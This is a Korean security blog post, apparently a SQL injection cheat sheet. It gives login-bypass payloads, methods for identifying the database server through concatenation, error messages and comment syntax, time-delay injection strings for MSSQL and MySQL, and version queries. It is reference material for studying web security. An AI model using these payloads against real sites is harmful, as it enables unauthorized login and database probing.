SQL Injection 관련

Hacking/Web 2017. 6. 29. 21:36
반응형

1. 로그인 시도

1-1. user 테이블의 모든 행 반환 -> 첫번째 계정으로 로그인

 [where user = '' OR 1=1 OR '1'='1' AND password='';]


1-2. 만약 user 테이블의 모든 행을 반환하는 방식이 불가능하다면?

 - 계정을 안다는 가정하에 해당 계정으로 로그인 시도

 [where username='admin' AND 1=1 OR '1'='1' AND password='';]


2. SQL Server 별 문자열 결합

2-1. MSSQL >> 'ab'='a'+'b'

2-2. MySQL >> 'ab'='a' 'b'

2-3. ORACLE >> 'ab'='a'||'b'

     * 위의 결합을 통해 무슨 서버인지 확인 가능

ex) http://www.rootable.com?User=Bob (original request)

     http://www.rootable,com?User=B'+'ob (MSSQL Server)

     http://www.rootable,com?User=B''ob (MySQL Server)

     http://www.rootable,com?User=B'||'ob (Oracle Server)


3. 에러를 통해 SQL Server 분류하기

3-1. MSSQL >> [Server Error in '/' Application]

3-2. Mysql >> [Warning:  혹은  Error:]

3-3. ORACLE >> [java.sql.SQLException: 혹은 Error: 혹은 Exception Details 혹은 ORA-xxx]


4. SQL Server별 주석

데이터베이스 

주석처리 구문 

 MSSQL and ORACLE

 한 줄 주석처리

 -- 

 다중라인 주석처리 

 /* */ 

 MySQL 

 한 줄 주석처리 

 -- (두번째 dash 뒤 공백이나 기타 제어문자 필요) 

 한 줄 주석처리 

 # 

 다중라인 주석처리

 /* */ 

 한 줄 주석처리

 ;%00 


5. SQL Server별 시간지연 예제

5.1 MSSQL

> http://www.rootable.com/basket.aspx?uid=45;waitfor delay '0:0:5';--

5.2 MySQL

> http://www.rootable.com/display.php?id=32; SELECT BENCHMARK(100000,ENCODE('hello','mom'));--

5.3 ORACLE

> 불가능 (DBMS_LOCK.SLEEP() 이라는 함수가 존재하지만 서브쿼리 형태로 직접 Injection할 수 없을 뿐더라 DBMS_LOCK 패키지는 오직 DBA에 의해서만 사용 가능)


6. SQL Server별 버전 출력 쿼리

데이터베이스 서버 

쿼리 

Microsoft SQL Server 

SELECT @@version 

MySQL 

SELECT version()

SELECT @@version 

Oracle 

SELECT banner FROM v$version

SELECT banner FROM v$version WHERE rownum=1 


반응형

'Hacking > Web' 카테고리의 다른 글

SQL Injection 필터링 우회  (0) 2017.11.13
파일업로드 확장자 우회  (0) 2017.11.05
XST에 대해 알아보자  (1) 2017.05.09
LFI&RFI  (0) 2017.03.08
Command_injection  (0) 2017.03.08
블로그 이미지

rootable

,